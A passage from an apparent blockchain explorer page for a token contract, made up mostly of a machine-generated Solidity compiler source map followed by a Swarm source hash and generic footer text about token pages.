;;3847:1;3831:6;;3810:40;;-1:-1:-1;;;;;3831:6:0;;;;3810:40;;3847:1;;3810:40;3878:1;3861:19;;-1:-1:-1;;;;;;3861:19:0;;;3710:178::o;5134:37::-;;;;;;;:::i;7912:375::-;3211:10;8005:4;8049:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8049:34:0;;;;;;;;;;8102:35;;;;8094:85;;;;-1:-1:-1;;;8094:85:0;;3955:2:1;8094:85:0;;;3937:21:1;3994:2;3974:18;;;3967:30;4033:34;4013:18;;;4006:62;-1:-1:-1;;;4084:18:1;;;4077:35;4129:19;;8094:85:0;3753:401:1;8094:85:0;8190:67;3211:10;8213:7;8222:34;8241:15;8222:16;:34;:::i;8190:67::-;-1:-1:-1;8275:4:0;;7912:375;-1:-1:-1;;;7912:375:0:o;6474:335::-;6604:10;6560:4;6599:16;;;:4;:16;;;;;;6619:1;6599:21;6596:149;;-1:-1:-1;;;;;6710:20:0;;6655:12;6710:20;;;:9;:20;;;;;:28;;6670:6;;;;6710:20;:28;;6670:6;;6710:28;:::i;:::-;;;;-1:-1:-1;;;6596:149:0;6755:24;6761:9;6772:6;6755:5;:24::i;11114:344::-;-1:-1:-1;;;;;11216:19:0;;11208:68;;;;-1:-1:-1;;;11208:68:0;;4361:2:1;11208:68:0;;;4343:21:1;4400:2;4380:18;;;4373:30;4439:34;4419:18;;;4412:62;-1:-1:-1;;;4490:18:1;;;4483:34;4534:19;;11208:68:0;4159:400:1;11208:68:0;-1:-1:-1;;;;;11295:21:0;;11287:68;;;;-1:-1:-1;;;11287:68:0;;4766:2:1;11287:68:0;;;4748:21:1;4805:2;4785:18;;;4778:30;4844:34;4824:18;;;4817:62;-1:-1:-1;;;4895:18:1;;;4888:32;4937:19;;11287:68:0;4564:398:1;11287:68:0;-1:-1:-1;;;;;11366:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11418:32;;1342:25:1;;;11418:32:0;;1315:18:1;11418:32:0;;;;;;;11114:344;;;:::o;9091:768::-;-1:-1:-1;;;;;9198:20:0;;9180:80;;;;-1:-1:-1;;;9180:80:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9280:23:0;;9262:81;;;;-1:-1:-1;;;9262:81:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9368:15:0;;9355:10;9368:15;;;:7;:15;;;;;;;;;9398:6;:14;;;;;;;;;;:35;;-1:-1:-1;;;;;;9416:17:0;;;;;;:6;:17;;;;;;;;9398:35;9394:55;;;9444:5;9435:14;;9394:55;-1:-1:-1;;;;;9542:17:0;;9518:21;9542:17;;;:9;:17;;;;;;9578:23;;;;9570:74;;;;-1:-1:-1;;;9570:74:0;;;;;;;:::i;:::-;9675:22;9691:6;9675:13;:22;:::i;:::-;-1:-1:-1;;;;;9655:17:0;;;;;;;:9;:17;;;;;;:42;;;;9708:20;;;;;;;;:30;;9732:6;;9655:17;9708:30;;9732:6;;9708:30;:::i;:::-;;;;;;;;9776:9;-1:-1:-1;;;;;9759:35:0;9768:6;-1:-1:-1;;;;;9759:35:0;;9787:6;9759:35;;;;1342:25:1;;1330:2;1315:18;;1196:177;9759:35:0;;;;;;;;9178:681;;9091:768;;;:::o;9865:753::-;9951:10;9933:84;;;;-1:-1:-1;;;9933:84:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10038:23:0;;10020:81;;;;-1:-1:-1;;;10020:81:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10126:18:0;;10113:10;10126:18;;;:7;:18;;;;;;;;;10166:10;10159:18;;:6;:18;;;;;;;;;10155:38;;;10188:5;10179:14;;10155:38;10300:10;10266:21;10290;;;:9;:21;;;;;;10330:23;;;;10322:74;;;;-1:-1:-1;;;10322:74:0;;;;;;;:::i;:::-;10431:22;10447:6;10431:13;:22;:::i;:::-;10417:10;10407:21;;;;:9;:21;;;;;;:46;;;;-1:-1:-1;;;;;10464:20:0;;;;;;;:30;;10488:6;;10407:21;10464:30;;10488:6;;10464:30;:::i;:::-;;;;-1:-1:-1;;10510:39:0;;1342:25:1;;;-1:-1:-1;;;;;10510:39:0;;;10519:10;;10510:39;;1330:2:1;1315:18;10510:39:0;;;;;;;9932:686;;9865:753;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;2108:186::-;2167:6;2220:2;2208:9;2199:7;2195:23;2191:32;2188:52;;;2236:1;2233;2226:12;2188:52;2259:29;2278:9;2259:29;:::i;:::-;2249:39;2108:186;-1:-1:-1;;;2108:186:1:o;2299:260::-;2367:6;2375;2428:2;2416:9;2407:7;2403:23;2399:32;2396:52;;;2444:1;2441;2434:12;2396:52;2467:29;2486:9;2467:29;:::i;:::-;2457:39;;2515:38;2549:2;2538:9;2534:18;2515:38;:::i;:::-;2505:48;;2299:260;;;;;:::o;2564:380::-;2643:1;2639:12;;;;2686;;;2707:61;;2761:4;2753:6;2749:17;2739:27;;2707:61;2814:2;2806:6;2803:14;2783:18;2780:38;2777:161;;2860:10;2855:3;2851:20;2848:1;2841:31;2895:4;2892:1;2885:15;2923:4;2920:1;2913:15;2777:161;;2564:380;;;:::o;3358:127::-;3419:10;3414:3;3410:20;3407:1;3400:31;3450:4;3447:1;3440:15;3474:4;3471:1;3464:15;3490:128;3557:9;;;3578:11;;;3575:37;;;3592:18;;:::i;3623:125::-;3688:9;;;3709:10;;;3706:36;;;3722:18;;:::i;4967:401::-;5169:2;5151:21;;;5208:2;5188:18;;;5181:30;5247:34;5242:2;5227:18;;5220:62;-1:-1:-1;;;5313:2:1;5298:18;;5291:35;5358:3;5343:19;;4967:401::o;5373:399::-;5575:2;5557:21;;;5614:2;5594:18;;;5587:30;5653:34;5648:2;5633:18;;5626:62;-1:-1:-1;;;5719:2:1;5704:18;;5697:33;5762:3;5747:19;;5373:399::o;5777:402::-;5979:2;5961:21;;;6018:2;5998:18;;;5991:30;6057:34;6052:2;6037:18;;6030:62;-1:-1:-1;;;6123:2:1;6108:18;;6101:36;6169:3;6154:19;;5777:402::o

Swarm Source

ipfs://413fb0c953b5851017dcb1285d92afc75913cd832d9fc3f496b40a6a683b7a95
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.